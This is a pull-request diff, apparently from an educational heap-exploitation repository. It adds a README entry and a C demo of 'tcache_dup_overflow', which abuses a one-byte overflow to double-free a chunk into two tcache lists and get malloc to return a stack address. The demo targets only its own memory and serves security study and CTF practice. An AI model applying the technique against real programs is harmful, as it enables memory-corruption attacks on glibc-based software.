Skip to content
Closed
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
4 changes: 2 additions & 2 deletions README.md
Original file line number Diff line number Diff line change
Expand Up @@ -41,10 +41,11 @@ We came up with the idea during a hack meeting, and have implemented the followi
| [decrypt_safe_linking.c](glibc_2.35/decrypt_safe_linking.c) | <a href="https://wargames.ret2.systems/level/how2heap_decrypt_safe_linking_2.34" title="Debug Technique In Browser">:arrow_forward:</a> | Decrypt the poisoned value in linked list to recover the actual pointer | >= 2.32 | | |
| [safe_link_double_protect.c](glibc_2.36/safe_link_double_protect.c) | | Leakless bypass for PROTECT_PTR by protecting a pointer twice, allowing for arbitrary pointer linking in t-cache | >= 2.32 | | [37c3 Potluck - Tamagoyaki](https://github.com/UDPctf/CTF-challenges/tree/main/Potluck-CTF-2023/Tamagoyaki)|
| [tcache_dup.c](obsolete/glibc_2.27/tcache_dup.c)(obsolete) | | Tricking malloc into returning an already-allocated heap pointer by abusing the tcache freelist. | 2.26 - 2.28 | [patch](https://sourceware.org/git/?p=glibc.git;a=commit;h=bcdaad21d4635931d1bd3b54a7894276925d081d) | |
| [tcache_dup_overflow.c](glibc_2.31/tcache_dup_overflow.c) | | With UAF on a freed tcache chunk and the ability to overwrite the size of the chunk, the chunk could be put back to freelist. | 2.26 - 2.41 | [patch](https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=eff1f680cffb005a5623d1c8a952d095b988d6a2) | |
| [tcache_metadata_poisoning.c](glibc_2.27/tcache_metadata_poisoning.c) | | Trick the tcache into providing arbitrary pointers by manipulating the tcache metadata struct | >= 2.26 | | |
| [house_of_io.c](glibc_2.31/house_of_io.c) | | Tricking malloc into return a pointer to arbitrary memory by manipulating the tcache management struct by UAF in a free'd tcache chunk. | 2.31 - 2.33 | | |
| [tcache_relative_write.c](glibc_2.41/tcache_relative_write.c) | | Arbitrary decimal value and chunk pointer writing in heap by out-of-bounds tcache metadata writing | 2.30-2.41 | [patch](https://sourceware.org/git/?p=glibc.git;a=commit;h=cbfd7988107b27b9ff1d0b57fa2c8f13a932e508) | |
| [tcache_metadata_hijacking](glibc_2.42/tcache_metadata_hijacking.c) | | Arbitrary allocation by overflow into tcache metadata | >= 2.42 | | |
| [tcache_metadata_hijacking](glibc_2.42/tcache_metadata_hijacking.c) | | Arbitrary allocation by overflow into tcache metadata | >= 2.43 | [introduction](https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=2bf2188fae1f3e48d12fdd26f56ff6881fd0b316) | |

The GnuLibc is under constant development and several of the techniques above have let to consistency checks introduced in the malloc/free logic.
Consequently, these checks regularly break some of the techniques and require adjustments to bypass them (if possible).
Expand Down Expand Up @@ -162,4 +163,3 @@ There are a couple of "hardening" measures embedded in glibc, like `export MALLO
More info: [mcheck()](http://www.gnu.org/software/libc/manual/html_node/Heap-Consistency-Checking.html), [mallopt()](http://www.gnu.org/software/libc/manual/html_node/Malloc-Tunable-Parameters.html).

There's also some tracing support as [mtrace()](http://manpages.ubuntu.com/mtrace), [malloc_stats()](http://manpages.ubuntu.com/malloc_stats), [malloc_info()](http://manpages.ubuntu.com/malloc_info), [memusage](http://manpages.ubuntu.com/memusage), and in other functions in this family.

61 changes: 61 additions & 0 deletions glibc_2.31/tcache_dup_overflow.c
Original file line number Diff line number Diff line change
@@ -0,0 +1,61 @@
#include <stddef.h>
#include <stdio.h>
#include <stdlib.h>

/* * * * * * * * * * * * * * * * * * * * * * * * * * * * *
* tcache dup demonstration *
* requirements: have a uaf pointer on tcache chunk; *
* able to overwrite the size of the chunk;*
* you don't need: the ability to overwrite tcache key *
* * * * * * * * * * * * * * * * * * * * * * * * * * * * */
int main(void) {
setbuf(stdout, NULL);

puts("\nStep 1: prepare victim chunk and put some other on freelist");
char *overflowp = malloc(0x18);
size_t *victim = malloc(0x58);
size_t *on_chain = malloc(0x58);
free(on_chain);
printf("overflow = %p\n", overflowp);
printf("victim@0x61 = %p\n", victim);
puts("Another chunk freed");

puts("\nStep 2: overwrite the size of victim to put it in two freelists");
/* VULNERABILITY */
// assume you have one byte overflow
puts("Trick free that victim is 0x31 in size");
overflowp[0x18] = 0x31;
free(victim);
puts("Then set size back to 0x61");
overflowp[0x18] = 0x61;
free(victim);
/* VULNERABILITY */

printf("victim->fd = %#lx\n", *victim);
printf("Should be previously freed chunk %p\n", on_chain);

size_t some_var = 0;
puts("\nStep 3: allocate back victim@0x31 to modify fd to stack var");
printf("some_var = %#lx\n", some_var);
size_t *victim_0x31 = malloc(0x28);
printf("victim_0x31 = %p\n", victim_0x31);
*victim_0x31 = (size_t)&some_var;
printf("*victim_0x31 = %p\n", &some_var);

puts("\nStep 4: allocate twice victim@0x61 to get access to stack var");
size_t *victim_0x61 = malloc(0x58);
printf("victim_0x61 = %p\n", victim_0x61);
size_t *ptr = malloc(0x58);
printf("Finally we got %p, set it to 0x1337\n", ptr);
*ptr = 0x1337;
printf("some_var = %#lx\n", some_var);

return 0;

/* credit: https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=eff1f680cffb005a5623d1c8a952d095b988d6a2
*
* Reason of this hack: the double free check on tcache only examine the freelist
* for the exact size of the chunk we freed. By resetting the size of the chunk,
* we cheat glibc that the chunk is not freed yet, so we can free it in two freelists.
*/
}